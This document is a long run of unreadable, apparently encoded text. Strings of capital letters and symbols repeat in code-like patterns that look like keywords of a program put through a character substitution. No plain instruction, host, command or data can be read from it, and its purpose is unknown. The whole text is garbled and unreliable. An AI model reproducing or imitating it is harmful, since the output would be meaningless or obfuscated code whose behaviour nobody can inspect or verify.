#				@O			^K[DE^CJM[X_QDCD[LZ@BKN\_  				R##				DCD[LZ@BKN\_				@M\[^SLG]QQBQQDCD[LZ@BKN\_			SPDBZLLFM] 	KKAEPBMEYMGE  ###DCD[LZ@BKN\_							@M\[^SLG]QQBQQDCD[LZ@BKN\_		@N[KMFGKOJZ 					@N[KMFGKOJZ  #		@O			@N[KMFGKOJZ DCD[LZ@BKN\_  			DCD[LZ@BKN\_						KKAEPBMEYMGE SPDBZLLFM] 				DCD[LZ@BKN\_ #	T##	[L]\[G						KKAEPBMEYMGE DCD[LZ@BKN\_ 			DCD[LZ@BKN\_			@DZNOYA##T#		O\GJ]@FG	SK\\QEE@DZNOYA #			R#	@O					@^v_XSYHPXKSN @DZNOYA 	UU	MLO@GLMKKAEPBMEYMGE   	[L]\[G	OHEZL#				@O		@^v_XSYHPXKSN @N[KMFGKOJZ 		@DZNOYA  			[L]\[G	][\L####XP^EQZ\^GMDQB							FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 			QQ  #@O	KKAEPBMEYMGE SPDBZLLFM] 	@DZNOYA				KFXBHS  	R#		OF[LHJA	KFXBHSrt					HZ				EH^NGFYP 						R#						@O	@^v_XSYHPXKSN EH^NGFYP			  									XP^EQZ\^GMDQB 		[L]\[G						][\L#							T###T#	vMM							SPDBZLLFM] @N[KMFGKOJZ hkzyh}a						SPDBZLLFM]  								  #				@O			KKAEPBMEYMGE SPDBZLLFM] 		@DZNOYA		vMD  	R#	~y	zYHJL[	kEFJB	J\Z]FD@SL[	][HGZYF[]##	OF[LHJA			vMDrt			HZ		BQLDY]\MPD 				R#@O	BQLDY]\MPD							vMM 		[L]\[G	][\L#		T#	T#[L]\[G				OHEZL###				T#	O\GJ]@FG	AQMv^^^JCCKPK\DZX ##			R#		@O	@ZZL]vnl}rSPDBZLLFM] t 	UU		@N[KMFGKOJZ vnl}r@N[KMFGKOJZ t 		UU				@N[KMFGKOJZ @^v_XSYHPXKSN   		[L]\[G#					LvEON_]Hv\						iNL]vFY]@FG@^v_XSYHPXKSN 		H[[HP  #@O	@^v_XSYHPXKSN LvEON_]Hv\  			[L]\[G#	EYCHFE			Z][@GN 	vnl}r@^v_XSYHPXKSN t#	[O]_BMPZAQ		H[[HP #	@O	@ZZL]LvEON_]Hv\r]t  				[O]_BMPZAQrt				Z][@GN 				LvEON_]Hv\r]t#				@O			@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 							KKAEPBMEYMGE LvEON_]Hv\rSPDBZLLFM] t  	R#OF[LHJA						LvEON_]Hv\rSPDBZLLFM] t			HZ		A]NE\PCXOJ 	R###		@O				KKAEPBMEYMGE A]NE\PCXOJ 											@ZZL]A]NE\PCXOJr]t  		[O]_BMPZAQrt						Z][@GN 				A]NE\PCXOJr]t#						T#	T#	_\EB@OS]XNS_H			OHEZL#		OF[LHJA					[O]_BMPZAQ	HZ			J[AQGD]]O 			RX@NLQGZyayvdhcf{vl{z`fg_^AHKN]XX@NLQGZ#		@O	J[AQGD]]O					 			JFG]@G\L#		_\EB@OS]XNS_H					KKAEPBMEYMGE KKAEPBMEYMGE  				AHZAvLX\HEZJ[AQGD]]O					EYCHFE 					J[AQGD]]O							EYCHFE #		@O		_\EB@OS]XNS_H 				K[LHB#		T#	iMLY[F_@Z@FG	ZJALM\EL[##	@O		_\EB@OS]XNS_H 	[L]\[G####@O			SPDBZLLFM] SPDBZLLFM]   		R####			SPDBZLLFM] O\GJ]@FG		 	\ZL	EYCHFE 		R#					LJAF					uGzjb					EYCHFE				@N[KMFGKOJZ #	T ##				T#	T#	O\GJ]@FG		_HAOOJEGvM\FEEZZ #					R#						@O		SPDBZLLFM] SPDBZLLFM]   		[L]\[G		OHEZL###		_CZDGOY							iNL]vFY]@FGSPDBZLLFM] 		 ####	@O	KKAEPBMEYMGE _CZDGOY 			UU		@N[KMFGKOJZ _CZDGOY			@N[KMFGKOJZ  		 	[L]\[G				OHEZL#ZFG@XPvLZDC_							@G] 		@^v_XSYHPXKSN _CZDGOY	w  #						@O			ZFG@XPvLZDC_						@^v_XSYHPXKSN  					ZFG@XPvLZDC_				  	[L]\[G	OHEZL#[L]\[G					][\L#	T#O\GJ]@FG	GJvF\F]HHS@GEQBCJL	\SZ\LFZAK@HB #R#	dLDJHJALM	HMHY]L[	\GEFHM	^H]L[DH[B##			@O						SPDBZLLFM] @^v_XSYHPXKSN  		UU	KKAEPBMEYMGE @^v_XSYHPXKSN   	[L]\[G		OHEZL##					@O		_HAOOJEGvM\FEEZZ  				[L]\[G	][\L#					LvEON_]Hv\					iNL]vFY]@FGSPDBZLLFM] 			H[[HP  #		@O		@^v_XSYHPXKSN LvEON_]Hv\  		LvEON_]Hv\						H[[HP #							@O		@ZZL]LvEON_]Hv\rKKAEPBMEYMGE t 		UU	KKAEPBMEYMGE LvEON_]Hv\rSPDBZLLFM] t  		R####^CGMFZY[Y						H[[HP ###	@O		@ZZL]LvEON_]Hv\r]t		LvEON_]Hv\rYt	LvEON_]Hv\rKt  			R#	Y[F_@Z@FG	Z][FGN	GFD@GHE]PYL##					^CGMFZY[Yr@N[KMFGKOJZ Z][@GN 			LvEON_]Hv\rYt t				H[[HP]						Z][@GN 	LvEON_]Hv\r]t					Y					Z][@GN 			LvEON_]Hv\rYt		K							Z][@GN 	LvEON_]Hv\rKt					KKAEPBMEYMGE 		@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 					@G] 		LvEON_]Hv\rKKAEPBMEYMGE t				@N[KMFGKOJZ  	KKAEPBMEYMGE 						G					 #	T#				LvEON_]Hv\				H[[HP@N[KMFGKOJZ 				^CGMFZY[Y #		T#			O_H@GEPZC						KKAEPBMEYMGE GEQBCJL ##				@O				@ZZL]LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCt  	R#					LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtr@N[KMFGKOJZ t									KKAEPBMEYMGE  ####		LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCtr@^v_XSYHPXKSN t							###					LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtrGt			\SZ\LFZAK@HB					 										#@O	ZKXOKS\JGG_ZQC@QYLvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtrKt						\SZ\LFZAK@HB  		R#								FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					@N[KMFGKOJZ  #	[L]\[G				OHEZL#		T##T		LEZL		R#							[YBEB\JZ					^D]]OFPX_KGKN@ #	BZPAOYSSSEBMC				[YBEB\JZ				KKAEPBMEYMGE 					FZLYYKLLEQ[\AGEQBCJL		  							@N[KMFGKOJZ #@O	ZKXOKS\JGG_ZQC@QYBZPAOYSSSEBMC			\SZ\LFZAK@HB  		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 						SPDBZLLFM]  ####					[L]\[G		OHEZL####	T#		LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCt						H[[HP]					LQQJANXGGQNw  			Y						GEQBCJL					K					BZPAOYSSSEBMC	@N[KMFGKOJZ 		@^v_XSYHPXKSN  	SPDBZLLFM] 			G			\SZ\LFZAK@HB					 														 ##	T#					^A@EL					@N[KMFGKOJZ LvEON_]Hv\r@^v_XSYHPXKSN t 								  	R#				OP^LXX[HZOXQ							G\EE####					ACSZKSJL\[F					G\EE###	OF[LHJA			LvEON_]Hv\r@N[KMFGKOJZ t		HZ		X]HQKXGG\GX			DPCLEFX 	R###			@O				ACSZKSJL\[F						G\EE	UU	@G] 	DPCLEFXrSPDBZLLFM] t							ACSZKSJL\[F 	RSJXGSBOKQLMQ FXFMvvGA_SJXGSBOK####							ACSZKSJL\[F			@G] 	DPCLEFXrKKAEPBMEYMGE t#OP^LXX[HZOXQ				X]HQKXGG\GX##	T#		T#		@O			OP^LXX[HZOXQ					G\EE 	K[LHB#	@PE[Z\[XJ_PLXGLvEON_]Hv\r@^v_XSYHPXKSN trOP^LXX[HZOXQtrKt #			\GZL]LvEON_]Hv\rKKAEPBMEYMGE trOP^LXX[HZOXQt #						T##					i\YMH]LvFY]@FGSPDBZLLFM] 				LvEON_]Hv\				@N[KMFGKOJZ  #			@^v_XSYHPXKSN SPDBZLLFM]  #	[L]\[G			][\L#	T###				O\GJ]@FG	@MAAGZP\YJBJDECDCJYMNO #					R####			@M]C[_E^C]GSP			iSPDBZLLFM] CDCJYMNO		H[[HP@N[KMFGKOJZ 					 				SPDBZLLFM] 					OHEZL		@N[KMFGKOJZ 			][\L						@N[KMFGKOJZ 												@N[KMFGKOJZ 				H[[HPSPDBZLLFM] 						SPDBZLLFM] 					@^v_XSYHPXKSN 						SPDBZLLFM]    #					@O				SPDBZLLFM] SPDBZLLFM]  			@Zv^YvL[[F[@M]C[_E^C]GSP  		[L]\[G	H[[HP	OHEZL #						]KD]PF\EJY								SPDBZLLFM] KKAEPBMEYMGE  				@G] 			^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP 			#		[L]\[G		H[[HP]KD]PF\EJY		]KD]PF\EJY											KKAEPBMEYMGE SPDBZLLFM]  		Z][@GN 					^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP 				 #		T#O\GJ]@FG			_OMJDHJMLYGvD_]A]NE\PCXOJ #R#		FEH^L^MJ									i@^v_XSYHPXKSN A]NE\PCXOJrKt OQ[\AHXYMLJCYAYMOQ[\A##@O		@^v_XSYHPXKSN FEH^L^MJ  	[L]\[G	OHEZL#					@O				FEH^L^MJ									 	R#@O			LDY]PA]NE\PCXOJrGt  	[L]\[G		OHEZL	#				@JNBXDB@LXA					i@N[KMFGKOJZ A]NE\PCXOJrYt #				@O			@JNBXDB@LXA 					RDBOSOKYyayv`g}vdhqyayv`g}vdhqK[vK_CGQDBOSOKY#				XX]L[vEYC^\OZSZ_@JLA]NE\PCXOJrYt		  #							@JNBXDB@LXA			@PE[Z\[XJ_PLXGA]NE\PCXOJrYt #			T#		@O			SPDBZLLFM] @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LA]NE\PCXOJrYt	][\L #		[L]\[G	@JNBXDB@LXAMJYZX_ACyayvdhcf{vl{z`fg[OCGLZMJYZX_AC#				T#								@O			ZKXOKS\JGG_ZQC@QYA]NE\PCXOJrYt		FEH^L^MJ  				[L]\[G		OHEZL##					@O		KKAEPBMEYMGE @^v_XSYHPXKSN   		iFYJHJALv@G_HE@MH]LA]NE\PCXOJrYt		][\L ###				[L]\[G			][\L#T###				O\GJ]@FG				G\PJBFHvFMPKG #		R#@O	KKAEPBMEYMGE SPDBZLLFM]   		[L]\[G#		LvEON_]Hv\				iNL]vFY]@FGSPDBZLLFM] 	H[[HP  ###					@O	@^v_XSYHPXKSN LvEON_]Hv\  	[L]\[G#							@O				@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 		UU		@N[KMFGKOJZ LvEON_]Hv\rSPDBZLLFM] t  						R#			^CGMFZY[Y			H[[HP #			@O						@ZZL]LvEON_]Hv\r]t		LvEON_]Hv\rYt			LvEON_]Hv\rKt  	R####^CGMFZY[YrKKAEPBMEYMGE Z][@GN 		LvEON_]Hv\rYt t						H[[HP]								Z][@GN 					LvEON_]Hv\r]t		Y		Z][@GN 			LvEON_]Hv\rYt		K				Z][@GN 	LvEON_]Hv\rKt	KKAEPBMEYMGE 				@ZZL]LvEON_]Hv\rKKAEPBMEYMGE t 							@G] 	LvEON_]Hv\rKKAEPBMEYMGE t			SPDBZLLFM]  	SPDBZLLFM] 			 #T#LvEON_]Hv\			H[[HPKKAEPBMEYMGE 					^CGMFZY[Y YOBM_DNJNSKZYOBM_D#	T#			@O	LDY]PLvEON_]Hv\rSPDBZLLFM] t  				R#	iMLEL]LvFY]@FGKKAEPBMEYMGE  #	[L]\[GHZv\]^ZQEZCQ^ZQ^HZv\]^Z#T#					Z]H]@J		G]\BPQ						OHEZL##@O		G]\BPQ 					[L]\[G##						G]\BPQ					][\L#	@O				@^v_XSYHPXKSN @N[KMFGKOJZ   	i@^v_XSYHPXKSN  #LEZL@O						@N[KMFGKOJZ SPDBZLLFM]   				i@^v_XSYHPXKSN  #@O					SPDBZLLFM] SPDBZLLFM]   				i@N[KMFGKOJZ ][\L #				@O					@^v_XSYHPXKSN @^v_XSYHPXKSN  		UU	SPDBZLLFM] KKAEPBMEYMGE   	[L]\[G#		F@FXBDGBB[]						AFDLv\[E ##			^v@SQZN					@^v_XSYHPXKSN SPDBZLLFM]  				^YvEFN@Gv\[E 						F@FXBDGBB[]			@N[KMFGKOJZ #			NKQ[LX_[JP											OHEZL#			PXFMv]^D					][\L#CL]GEvXXB		 #			OF[LHJA			LvEON_]Hv\r@^v_XSYHPXKSN t	HZ	O_H@GEPZC				A]NE\PCXOJ 		R#		@O					KKAEPBMEYMGE A]NE\PCXOJ 			UU			LDY]PA]NE\PCXOJr]t 		UU		LDY]PA]NE\PCXOJrYt 			UU			LDY]PA]NE\PCXOJrKt  		R#		\GZL]LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCt #		NKQ[LX_[JP			][\L#		JFG]@G\L#		T#@O						@^v_XSYHPXKSN  				@G] 		A]NE\PCXOJrKKAEPBMEYMGE t			 		UU		@G] 				A]NE\PCXOJrSPDBZLLFM] t					  	R###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@N[KMFGKOJZ 			KKAEPBMEYMGE A]NE\PCXOJrYt  #				@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #						\GZL]LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCt #			NKQ[LX_[JP							][\L#			JFG]@G\L#			T#							@O				CL]GEvXXB				 	K[LHB#		CL]GEvXXB#		KCQHOv@[HHO					KKAEPBMEYMGE 				KKAEPBMEYMGE A]NE\PCXOJr]t 		@^v_XSYHPXKSN 					SPDBZLLFM] QOOQHO 		  #	E@Z]]KD]PF\EJY		AGDPK]KvZQOEZ 									@MAAGZP\YJBJDEF@FXBDGBB[]			KCQHOv@[HHO #@O	]KD]PF\EJY				 		PXFMv]^D		OHEZL#	@O						]KD]PF\EJY								SPDBZLLFM] KKAEPBMEYMGE   				SPDBZLLFM]  #					@O		]KD]PF\EJY							 			R###			E@Z]]KD]PF\EJY			AGDPK]KvZQOEZ 			@MAAGZP\YJBJDEF@FXBDGBB[]						KCQHOv@[HHO ###	@O				]KD]PF\EJY					 						PXFMv]^D				OHEZL####T#				@O		]KD]PF\EJY		 	R#		LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtrKKAEPBMEYMGE t#NKQ[LX_[JP				][\L#JFG]@G\L####			T#	@O			]KD]PF\EJY				  				R#						@O			_OMJDHJMLYGvD_]A]NE\PCXOJ  	R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	@N[KMFGKOJZ 							@^v_XSYHPXKSN A]NE\PCXOJrYt  #@PE[Z\[XJ_PLXGA]NE\PCXOJrKt ####	\GZL]LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCt #		T				LEZL	R###	LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtrSPDBZLLFM] t#				T#NKQ[LX_[JP			][\L#JFG]@G\L#		T#						@O	KKAEPBMEYMGE AGDPK]KvZQOEZ	@N[KMFGKOJZ 							A]NE\PCXOJr]t				KKAEPBMEYMGE  						OHEZL 				R#	@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #	\GZL]LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCt #		NKQ[LX_[JP		][\L#JFG]@G\L##		T#		E@Z]vK_@S[					X[vP^OZQLE 				@MAAGZP\YJBJDE^v@SQZN		@N[KMFGKOJZ ^v@SQZN				 			OHEZL											 					@N[KMFGKOJZ 			KKAEPBMEYMGE A]NE\PCXOJr]t 				@N[KMFGKOJZ 						KKAEPBMEYMGE  	   #							@O		vK_@S[					 	PXFMv]^D		OHEZL###		@O			vK_@S[									  		R#			@O		_OMJDHJMLYGvD_]A]NE\PCXOJ  				R#	~y	}HN	jEF\M	EHSP	Z@GNEL]FG###			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		KKAEPBMEYMGE 								KKAEPBMEYMGE A]NE\PCXOJrYt  ####						@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #			\GZL]LvEON_]Hv\r@^v_XSYHPXKSN trO_H@GEPZCt ##			T		LEZL					R#		LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCtr@^v_XSYHPXKSN t#			T#	NKQ[LX_[JP						][\L##	JFG]@G\L###	T#				@O			@N[KMFGKOJZ X[vP^OZQLE 								KKAEPBMEYMGE X[vP^OZQLE	KKAEPBMEYMGE 		A]NE\PCXOJr]t			SPDBZLLFM]  					OHEZL 			R#@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #			\GZL]LvEON_]Hv\r@^v_XSYHPXKSN trO_H@GEPZCt #			NKQ[LX_[JP						][\L####JFG]@G\L#	T#			LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtr@^v_XSYHPXKSN t#	NKQ[LX_[JP				][\L#	T#		@O			PXFMv]^D			NKQ[LX_[JP		LDY]PLvEON_]Hv\rKKAEPBMEYMGE t  		RFYOX@P^EJDAyayvdhcf{vl{z`fgBvGLPOvFYOX@P^EJDA###						JH]B@FZ					OHEZL#			OF[LHJA				LvEON_]Hv\r@^v_XSYHPXKSN t		HZ			CA[AYYHX 				R#	HJJ\D\EH]L	ELHBPK\JBL]	OF[	~y	kEFJB	H[@H]@FGZ##			@O		@G] 	CA[AYYHXr@N[KMFGKOJZ t						  	R#JH]B@FZ						][\LFE@B[BEBG^[JLvSKFE@B[BEBG^#		K[LHB#			T#			T###	@O		JH]B@FZ 			R#i\YMH]LvFY]@FG@N[KMFGKOJZ 				@N[KMFGKOJZ 				@N[KMFGKOJZ  					SPDBZLLFM]  ###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN  #	OF[LHJA	LvEON_]Hv\rKKAEPBMEYMGE t	HZ		X]HQKXGG\GX								CA[AYYHX 					R#					@PE[Z\[XJ_PLXGCA[AYYHXrKt #				\GZL]LvEON_]Hv\rSPDBZLLFM] trX]HQKXGG\GXt #		##				T####		T##				T				LEZL@O		PXFMv]^D 	R#	~y	x\L[P	eFFY	Z[JZL]	MLZJ[@Y]F[##		YYOOJPZFS^				iNL]vFY]@FGKKAEPBMEYMGE 				 #							@O				@N[KMFGKOJZ YYOOJPZFS^ 						UU		@N[KMFGKOJZ YYOOJPZFS^				@N[KMFGKOJZ  						 		i\YMH]LvFY]@FGKKAEPBMEYMGE 			KKAEPBMEYMGE 						@N[KMFGKOJZ  			SPDBZLLFM]  #			T#@O			LDY]PLvEON_]Hv\r@N[KMFGKOJZ t  		iMLEL]LvFY]@FG@^v_XSYHPXKSN  #			LEZL@O				NKQ[LX_[JP 					i\YMH]LvFY]@FGSPDBZLLFM] 						LvEON_]Hv\		KKAEPBMEYMGE  #				T#				O\GJ]@FG	O@HHBZGGMX_Q]]_BZ@DZNOYA ##			R#	[L]\[G					@^v_XSYHPXKSN @DZNOYA 							KKAEPBMEYMGE @DZNOYA	SPDBZLLFM]  								OHEZL			UU	KKAEPBMEYMGE @DZNOYA			@^v_XSYHPXKSN  								OHEZL		UU	SPDBZLLFM] @DZNOYA	@^v_XSYHPXKSN  							OHEZL			UU		KKAEPBMEYMGE @DZNOYA			@N[KMFGKOJZ  					OHEZL			UU		@^v_XSYHPXKSN @DZNOYA	@^v_XSYHPXKSN  					OHEZL	UU			KKAEPBMEYMGE @DZNOYA				KKAEPBMEYMGE  									OHEZL #			T#O\GJ]@FG		L_^DMvHDJGK@vPSLMPD@DZNOYA #	R#		@O	O@HHBZGGMX_Q]]_BZ@DZNOYA  						[L]\[G	OHEZL#							@O		^K[DE^CJM[X_Q@DZNOYA  			[L]\[G		][\L#	@O					@^v_XSYHPXKSN @^v_XSYHPXKSN 	@DZNOYA					_CZDGOY  		R####		OF[LHJA		_CZDGOYrt				HZ				DPCLEFX 	R#	@O	_L[Z@FGvJFDYH[LDPCLEFX		^NKBHS]S^NFHGH^O] 				  		[L]\[G					][\L#				T#			[L]\[G	OHEZL#		T#[L]\[G		][\L#				T#			O\GJ]@FG				YEvGGGZ^GDSZ\]OEKOHSDG@[F #R#	@O		iKKAEPBMEYMGE OEKOHSDG@[F 					UU			iSPDBZLLFM] OEKOHSDG@[F  					[L]\[G#		AADEEDPN]]LF								i@N[KMFGKOJZ OEKOHSDG@[F ##			@O			AADEEDPN]]LF 		[L]\[G#@O			AADEEDPN]]LF						  		R#		Z^ECCFJ@AQA_					i@N[KMFGKOJZ OEKOHSDG@[F					OHEZL		G\EE			  #					@O		O@HHBZGGMX_Q]]_BZZ^ECCFJ@AQA_  		[L]\[G#			@O			\ZNQXBNHJLN[YPCN@NEOEKOHSDG@[F 								OHEZL 		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN 					@N[KMFGKOJZ OEKOHSDG@[F  #[L]\[G#T#	i@^v_XSYHPXKSN OEKOHSDG@[F					YAYuG #	@O		KKAEPBMEYMGE @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LOEKOHSDG@[F	][\L #	[L]\[G#T#@O					AADEEDPN]]LF					  					R#			ZJHXO									Z][@GN 		i@^v_XSYHPXKSN OEKOHSDG@[F		OHEZL		G\EE			QMQJ  #		DXE]A]F					AADEEDPN]]LF							  							Z][@GN 		iSPDBZLLFM] OEKOHSDG@[F		OHEZL				G\EE	AADEEDPN]]LF								  			#			M\B\SGHJCHO^Z						ZJHXO			DXE]A]F#		@O	M\B\SGHJCHO^Z												KKAEPBMEYMGE SPDBZLLFM] 			M\B\SGHJCHO^Z			DPSXY]Q^J]Q  		R#PY\YLDAE@_				OHEZL#			OF[LHJA		DPSXY]Q^J]Qrt		HZ	B^MJPM 			R#							@O	_L[Z@FGvJFDYH[LB^MJPM			^NKBHS]S^NFHGH^O] 						  	R#		PY\YLDAE@_				][\L#K[LHB#		T#		T#						@O			PY\YLDAE@_ 	[L]\[G#T#		T#	@DZNOYA				iKKAEPBMEYMGE OEKOHSDG@[F ###		@O	@^v_XSYHPXKSN @DZNOYA 						SPDBZLLFM] @DZNOYA 				  		@DZNOYA			C^v@Z@\@ACBCL@DZNOYA #		@O				@^v_XSYHPXKSN @DZNOYA  			[L]\[G#					@O				L_^DMvHDJGK@vPSLMPD@DZNOYA  					[L]\[G#		_LLvB@L@F_JBOEKOHSDG@[F	@DZNOYA #						T#O\GJ]@FG		_LLvB@L@F_JBOEKOHSDG@[F		@DZNOYA #R###DCD[LZ@BKN\_				KKAEPBMEYMGE KKAEPBMEYMGE 						@DZNOYA #@O			@^v_XSYHPXKSN DCD[LZ@BKN\_ 			UU				SPDBZLLFM] DCD[LZ@BKN\_ 						UU		@^v_XSYHPXKSN DCD[LZ@BKN\_ 			KKAEPBMEYMGE  		DCD[LZ@BKN\_					YAYuG#				@O	SPDBZLLFM] DCD[LZ@BKN\_ 							 						_SMG[M@XJvKJSK\DCD[LZ@BKN\_  	DCD[LZ@BKN\_									YAYuGYB^LY^JPyayv`g}vdhqyayv`g}vdhqY[DSL^[HYB^LY^JP#	vMDHQOQHZ[KK				iO@ELYL[DZOEKOHSDG@[F ###							vMDHQOQHZ[KK						vMDHQOQHZ[KK					OHEZL 				 					vMDHQOQHZ[KK				  #		ZNPCJXZF								i@N[KMFGKOJZ OEKOHSDG@[F #	E^^FYvAH[			i@N[KMFGKOJZ KKAEPBMEYMGE OEKOHSDG@[F 				SPDBZLLFM]  #	@O					E^^FYvAH[						OHEZL 				[L]\[G#	@O		iSPDBZLLFM] E^^FYvAH[			DCD[LZ@BKN\_ 				@N[KMFGKOJZ DCD[LZ@BKN\_  		R#							iKKAEPBMEYMGE E^^FYvAH[ #			[L]\[G#	T#		iKKAEPBMEYMGE E^^FYvAH[			vMDHQOQHZ[KK #@O	iKKAEPBMEYMGE E^^FYvAH[		OEKOHSDG@[F  		R#		i@N[KMFGKOJZ E^^FYvAH[ #				[L]\[G#								T#			@O	ZNPCJXZF 				i@N[KMFGKOJZ OEKOHSDG@[F		ZNPCJXZF #			@O		KKAEPBMEYMGE @^v_XSYHPXKSN   				iFYJHJALv@G_HE@MH]LOEKOHSDG@[F	][\L #						T###	O\GJ]@FG					@\XBCXP^XZCS]_]YAEMZK #	R###			@O		@^v_XSYHPXKSN ]_]YAEMZK  	[L]\[G	#		@O	@^v_XSYHPXKSN KKAEPBMEYMGE 		]_]YAEMZK				KNv_v[C]vF  					R#	@ZN[XKKQY			KNv_v[C]vFrt#####				AADEEDPN]]LF				iKKAEPBMEYMGE @ZN[XKKQY 						i@N[KMFGKOJZ @ZN[XKKQY 				#@O		AADEEDPN]]LF		UU	AADEEDPN]]LF				QMQM 			UU		AADEEDPN]]LF				  	R#	X\HG]@OP	F_L[ALHM##	@O					AADEEDPN]]LF				  	R###			N[QOPCHHG_C								i@^v_XSYHPXKSN @ZN[XKKQY #			@O		@N[KMFGKOJZ N[QOPCHHG_C  				N[QOPCHHG_C			@ZN[XKKQY#N[QOPCHHG_C			KKAEPBMEYMGE uu				N[QOPCHHG_C #EJSOA^YQ\B				OHEZL#			OMLYF^vE\@MK						H[[HPMLO@GLMKKAEPBMEYMGE  						SPDBZLLFM] hkzyh}a	SPDBZLLFM]  						MLO@GLMSPDBZLLFM]  		SPDBZLLFM] ~yvjfg}lg}vm`{			@N[KMFGKOJZ  		 ####						OF[LHJA		OMLYF^vE\@MK				HZ	PSH^NGL_G[M_M 					R#			PSH^NGL_G[M_M			@N[KMFGKOJZ uu					PSH^NGL_G[M_M #				@O					PSH^NGL_G[M_M								SPDBZLLFM] N[QOPCHHG_C				PSH^NGL_G[M_M						 			 	R#				EJSOA^YQ\B						][\L#K[LHB#	T####T#						@O					EJSOA^YQ\B				\ZNQXBNHJLN[YPCN@NE@ZN[XKKQY 				OHEZL 		R#	iSPDBZLLFM] @ZN[XKKQY #i@N[KMFGKOJZ @N[KMFGKOJZ @ZN[XKKQY 							SPDBZLLFM] 							@N[KMFGKOJZ @ZN[XKKQY				SPDBZLLFM]   #		T			LEZL						R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ 			KKAEPBMEYMGE @ZN[XKKQY  #T#		T###				[L]\[G			####T#T#	ZL[@HE@SL	GF[DHE	]\DKE@GN^@GMF^##				[L]\[G		]_]YAEMZK#T###								O\GJ]@FG		G^JO_P\K #R##	Z]H]@J	@ZN[XKKQY			G\EE#@O			@ZN[XKKQY							G\EE 				R#						YCOFJFCO\									AM_PYB]^H_BM_ #			@ZN[XKKQY								SPDBZLLFM] YCOFJFCO\ 						@ZZL]YCOFJFCO\r@^v_XSYHPXKSN t 			SPDBZLLFM] Z][@GN 		YCOFJFCO\rSPDBZLLFM] t	@N[KMFGKOJZ  									 #T#	[L]\[G		@ZN[XKKQY#	T####				O\GJ]@FG					SJQHNAP_F@EL #		R#@O			MLO@GLM@N[KMFGKOJZ   						[L]\[G##MLXDFHODDKY							hkzyh}a				@N[KMFGKOJZ #	@O		i@^v_XSYHPXKSN MLXDFHODDKY  			R#		@JXPJQGNHPB^[^				@N[KMFGKOJZ hkzyh}a 						@N[KMFGKOJZ #@O		i@^v_XSYHPXKSN @JXPJQGNHPB^[^  	MLXDFHODDKY							@JXPJQGNHPB^[^###		T#						@O					iKKAEPBMEYMGE MLXDFHODDKY 		UU				iKKAEPBMEYMGE MLXDFHODDKY  		[L]\[G#					N[QOPCHHG_C					iSPDBZLLFM] MLXDFHODDKY ####		@O			@^v_XSYHPXKSN N[QOPCHHG_C 						N[QOPCHHG_C						iSPDBZLLFM] N[QOPCHHG_C  	MLXDFHODDKY							N[QOPCHHG_C#						@O		i@^v_XSYHPXKSN MLXDFHODDKY 			QQMHH  				[L]\[G#			@DZNOYA					i@N[KMFGKOJZ MLXDFHODDKY #			@O		@^v_XSYHPXKSN @DZNOYA 		UU			@DZNOYA			 	[L]\[G#				[SPPZCBOS@J			@^v_XSYHPXKSN @DZNOYA	KKAEPBMEYMGE  					OHEZL	UU			@^v_XSYHPXKSN @DZNOYA	SPDBZLLFM]  			OHEZL #CvLKBSQ__N^X		OHEZL#	@O	SPDBZLLFM] @DZNOYA	@^v_XSYHPXKSN  				OHEZL 	R#	Z][LHD@GN	H[K@][H]F[	##@O				LDY]Pnefkhezr@N[KMFGKOJZ t  			R#		CvLKBSQ__N^X				][\L#							T	LEZL			R###	A\DNDE]J^AD			KKAEPBMEYMGE @N[KMFGKOJZ  					SPDBZLLFM]  										@^v_XSYHPXKSN ####		@O			i@^v_XSYHPXKSN A\DNDE]J^AD 		UU		iKKAEPBMEYMGE A\DNDE]J^AD  		CvLKBSQ__N^X							][\L##	T#	T####AJA\YP@BAvv								OHEZL##H[AOJGJB						OHEZL#				@O			@N[KMFGKOJZ @N[KMFGKOJZ 	@DZNOYA 				MLO@GLM@^v_XSYHPXKSN   	R#						vHJ							~yvjfg}lg}vm`{							@^v_XSYHPXKSN ####					@O				i@^v_XSYHPXKSN vHJ  				R#					F\DSE@Fv				Z][@GN 			i@^v_XSYHPXKSN vHJ		OHEZL				G\EE							QHKHQ  ###		@O		@^v_XSYHPXKSN F\DSE@Fv			KKAEPBMEYMGE  						OHEZL 		AJA\YP@BAvv					][\L#			T#		T		LEZL@O	#		@N[KMFGKOJZ @DZNOYA					KKAEPBMEYMGE  							OHEZL#	@N[KMFGKOJZ @^v_XSYHPXKSN 					@DZNOYA ## 	R##		H[AOJGJB					][\L#						T#			O\BDP\^F								OHEZL#			@O			G^JO_P\K  		RSAX@KPAGACX@LB[FG[SSAX@KPAG####			@O		#							SPDBZLLFM] KKAEPBMEYMGE 				